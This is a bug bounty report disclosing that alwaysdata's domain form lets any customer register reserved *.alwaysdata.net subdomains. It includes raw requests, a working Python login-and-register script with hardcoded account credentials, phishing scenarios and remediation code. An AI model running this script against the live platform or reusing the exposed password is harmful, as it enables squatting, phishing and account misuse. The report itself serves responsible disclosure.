|
Task Description
# Bug Bounty Submission Report
## Subdomain Squatting on alwaysdata.net Platform Namespace
—
### Vulnerability Summary
| Field | Value |
| ——- | ——- |
| Title | Subdomain Squatting on alwaysdata.net Platform Namespace |
| Severity | High |
| CVSS Score | 9.0 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-284 - Improper Access Control |
| Endpoint | `POST https://admin.alwaysdata.com/domain/add/1/` → field: `hostnames` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
### Description
The domain registration form at `/domain/add/1/` allows any authenticated customer to register any `*.alwaysdata.net` subdomain - including names reserved for platform infrastructure. The form only validates that the submitted string is a well-formed hostname. It does NOT check:
- If the subdomain is reserved for platform use - If the subdomain already belongs to another customer - If the subdomain matches the account's assigned namespace - If the subdomain is already registered elsewhere
Confirmed registered subdomains (all returned HTTP 302): - `admin.alwaysdata.net` ✅ - `api.alwaysdata.net` ✅ (DNS auto-provisioned to `185.31.40.30`) - `mail.alwaysdata.net` ✅ - `cpanel.alwaysdata.net` ✅ - `webmail.alwaysdata.net` ✅ - `status.alwaysdata.net` ✅ - `billing.alwaysdata.net` ✅ - `security.alwaysdata.net` ✅
—
### Proof of Concept
#### Step 1: Register Reserved Subdomain
Request:
POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...
csrfmiddlewaretoken=6ooKK5Qc9ff4vq3zDebP...&hostnames=api.alwaysdata.net
Response:
HTTP/2 302 Found
Location: /domain/
✅ CONFIRMED: The reserved domain `api.alwaysdata.net` was accepted.
—
#### Step 2: All 8 Reserved Domains Accepted
| Hostname | Response | Status |
| ———- | ———- | ——– |
| admin.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| api.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| mail.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| cpanel.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| webmail.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| status.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| billing.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| security.alwaysdata.net | 302 Found | ✅ ACCEPTED |
—
#### Step 3: DNS Records Auto-Provisioned
DNS Lookup Results:
$ nslookup api.alwaysdata.net
Non-authoritative answer:
Name: api.alwaysdata.net
Address: 185.31.40.30
Name: api.alwaysdata.net
Address: 2a00:b6e0:1:20:21::1
✅ CONFIRMED: DNS records were automatically created, pointing `api.alwaysdata.net` to alwaysdata's infrastructure.
—
#### Step 4: Multi-Hostname Injection
Request:
POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
hostnames=evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net
Response:
HTTP/2 302 Found
Location: /domain/
✅ CONFIRMED: Multiple hostnames can be registered in a single submission.
—
### Proof of Concept Code
import requests
import re
import time
EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"
s = requests.Session()
s.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
print("="*70)
print("FINDING 08: SUBDOMAIN SQUATTING ON alwaysdata.net")
print("="*70)
print("\n[1] 🔐 Logging in...")
login_page = s.get("https://admin.alwaysdata.com/login/", timeout=15)
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
s.post(
"https://admin.alwaysdata.com/login/",
data={
"csrfmiddlewaretoken": csrf_login,
"login": EMAIL,
"password": PASSWORD,
"alive": "on"
},
headers={"Referer": "https://admin.alwaysdata.com/login/"},
allow_redirects=True,
timeout=15
)
print("✅ Logged in")
print("\n[2] 📋 Getting domain add page...")
domain_page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
if domain_page.status_code != 200:
print(f"❌ Failed: {domain_page.status_code}")
exit()
print(f"Status: {domain_page.status_code}")
if 'name="hostnames"' in domain_page.text:
print("✅ Found: hostnames field")
else:
print("❌ hostnames field not found")
exit()
csrf = domain_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
print(f"CSRF: {csrf[:20]}...")
print("\n[3] 📝 Registering reserved platform subdomains...")
reserved_names = [
"admin.alwaysdata.net",
"api.alwaysdata.net",
"mail.alwaysdata.net",
"cpanel.alwaysdata.net",
"webmail.alwaysdata.net",
"status.alwaysdata.net",
"billing.alwaysdata.net",
"security.alwaysdata.net",
]
registered = []
rejected = []
for hostname in reserved_names:
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
r = s.post(
"https://admin.alwaysdata.com/domain/add/1/",
data={
"csrfmiddlewaretoken": csrf,
"hostnames": hostname,
},
headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
allow_redirects=False,
timeout=15
)
if r.status_code == 302:
registered.append(hostname)
print(f" ✅ REGISTERED {hostname}")
else:
rejected.append(hostname)
print(f" ❌ REJECTED ({r.status_code}) {hostname}")
time.sleep(0.5)
print(f"\n📊 Summary:")
print(f" Registered: {len(registered)} of {len(reserved_names)}")
print(f" Rejected: {len(rejected)} of {len(reserved_names)}")
if registered:
print(f"\n✅ Subdomain squatting confirmed!")
print(f" Reserved names accepted:")
for name in registered:
print(f" - {name}")
print("\n[4] 📝 Testing multi-hostname injection...")
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
multi_payload = """evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net"""
r_multi = s.post(
"https://admin.alwaysdata.com/domain/add/1/",
data={
"csrfmiddlewaretoken": csrf,
"hostnames": multi_payload,
},
headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
allow_redirects=False,
timeout=15
)
if r_multi.status_code == 302:
print(f" ✅ Multi-hostname ACCEPTED (302)")
else:
print(f" ❌ Multi-hostname rejected: {r_multi.status_code}")
print("\n[5] 🧹 Cleaning up...")
all_to_delete = registered + ["evil-test.alwaysdata.net", "vulnerable-test.alwaysdata.net", "poc-test-123.alwaysdata.net"]
for hostname in all_to_delete:
try:
domains_page = s.get("https://admin.alwaysdata.com/domain/", timeout=10)
domain_id = None
for did in re.findall(r'href="/domain/(\d+)/"', domains_page.text):
detail_page = s.get(f"https://admin.alwaysdata.com/domain/{did}/", timeout=10)
if hostname in detail_page.text:
domain_id = did
break
if domain_id:
del_page = s.get(f"https://admin.alwaysdata.com/domain/{domain_id}/delete/", timeout=10)
csrf_del = del_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
r_del = s.post(
f"https://admin.alwaysdata.com/domain/{domain_id}/delete/",
data={"csrfmiddlewaretoken": csrf_del, "confirm": "1"},
headers={"Referer": f"https://admin.alwaysdata.com/domain/{domain_id}/delete/"},
allow_redirects=False,
timeout=15
)
if r_del.status_code == 302:
print(f" ✅ Deleted {hostname} (ID {domain_id})")
else:
print(f" ⚠️ Delete {hostname}: {r_del.status_code}")
else:
print(f" ⚠️ Could not find ID for {hostname}")
except Exception as e:
print(f" ❌ Error deleting {hostname}: {e}")
time.sleep(0.3)
print("\n" + "="*70)
print("🔬 FINDING 08 VALIDATION COMPLETE")
print("="*70)
—
### Impact
| Risk | Description |
| —— | ————- |
| Phishing | Attacker hosts fake admin.alwaysdata.net to harvest credentials |
| API Key Theft | Attacker hosts fake api.alwaysdata.net to steal developer API keys |
| SSL/TLS | Attacker obtains valid Let's Encrypt certificates |
| Trust Exploitation | Users trust *.alwaysdata.net domains |
| Brand Damage | Reputation damage to alwaysdata |
#### Attack Scenarios
Scenario 1: API Key Theft 1. Attacker registers `api.alwaysdata.net` 2. Attacker configures the domain with a fake API endpoint 3. Developers accidentally use the fake API endpoint 4. Attacker captures API keys and credentials
Scenario 2: Admin Panel Phishing 1. Attacker registers `admin.alwaysdata.net` 2. Attacker hosts a cloned alwaysdata admin panel 3. Attacker sends phishing email to customers 4. Victims enter their credentials into the fake panel 5. Attacker harvests credentials
—
### Remediation Recommendations
#### 1. Maintain Explicit Blocklist
RESERVED_SUBDOMAINS = [
"admin", "api", "www", "mail", "smtp", "imap",
"webmail", "ftp", "ssh", "security", "status",
"billing", "cpanel", "panel", "support", "help",
"docs", "blog", "forum", "community", "partner",
"reseller", "demo", "test", "dev", "stage", "staging"
]
#### 2. Restrict Registration Pattern
Only allow subdomains matching the account name pattern:
<ACCOUNTNAME>.alwaysdata.net
<ACCOUNTNAME>-*.alwaysdata.net
#### 3. Validate Against Platform Services
def validate_domain_registration(account_name, requested_domain):
# Check if it's a reserved subdomain
subdomain = requested_domain.split('.')[0]
if subdomain in RESERVED_SUBDOMAINS:
return False, "This subdomain is reserved for platform use"
# Check if it matches account pattern
if not requested_domain.startswith(account_name):
return False, "You can only register subdomains matching your account name"
return True, "Domain accepted"
#### 4. Implement Approval Workflow
- Require manual approval for `*.alwaysdata.net` subdomain registrations - Send notification when a reserved name is attempted - Log all registration attempts for auditing
—
### CVSS Score Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over the network |
| Attack Complexity | Low (L) | Simple HTTP request |
| Privileges Required | Low (L) | Requires authenticated account |
| User Interaction | Required (R) | Victim must click phishing link |
| Scope | Changed (S) | Affects platform trust |
| Confidentiality | High (H) | Credential theft possible |
| Integrity | High (H) | Trust relationship compromised |
| Availability | None (N) | No availability impact |
Score: 9.0 (High)
—
### Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Domain registration accepted (302) | ✅ |
| DNS records auto-provisioned | ✅ |
| Domain resolves to platform IP | ✅ |
| Multiple reserved names accepted | ✅ |
| Multi-hostname injection accepted | ✅ |
—
### Cleanup Confirmation
All registered domains were deleted after confirmation. The test account is in a clean state.
| Domain | Deleted |
| ——– | ——— |
| admin.alwaysdata.net | ✅ |
| api.alwaysdata.net | ✅ |
| mail.alwaysdata.net | ✅ |
| cpanel.alwaysdata.net | ✅ |
| webmail.alwaysdata.net | ✅ |
| status.alwaysdata.net | ✅ |
| billing.alwaysdata.net | ✅ |
| security.alwaysdata.net | ✅ |
| evil-test.alwaysdata.net | ✅ |
| vulnerable-test.alwaysdata.net | ✅ |
| poc-test-123.alwaysdata.net | ✅ |
—
### References
- CWE-284: https://cwe.mitre.org/data/definitions/284.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - Subdomain Takeover: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/05-Testing_for_Subdomain_Takeover
—
### Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
### Conclusion
The domain registration system on alwaysdata allows any authenticated customer to register reserved platform subdomains including `admin.alwaysdata.net` and `api.alwaysdata.net`. This is confirmed by:
1. ✅ HTTP 302 responses for all 8 reserved domains tested 2. ✅ DNS auto-provisioning confirmed for `api.alwaysdata.net` 3. ✅ Multi-hostname injection accepted 4. ✅ No validation against reserved names
This vulnerability enables: - Phishing attacks on trusted `*.alwaysdata.net` domains - API key theft via fake `api.alwaysdata.net` - Credential harvesting via fake `admin.alwaysdata.net` - Platform-wide brand and trust damage
Recommendation: Implement a strict blocklist of reserved subdomains and validate that customers can only register domains matching their account name pattern.
|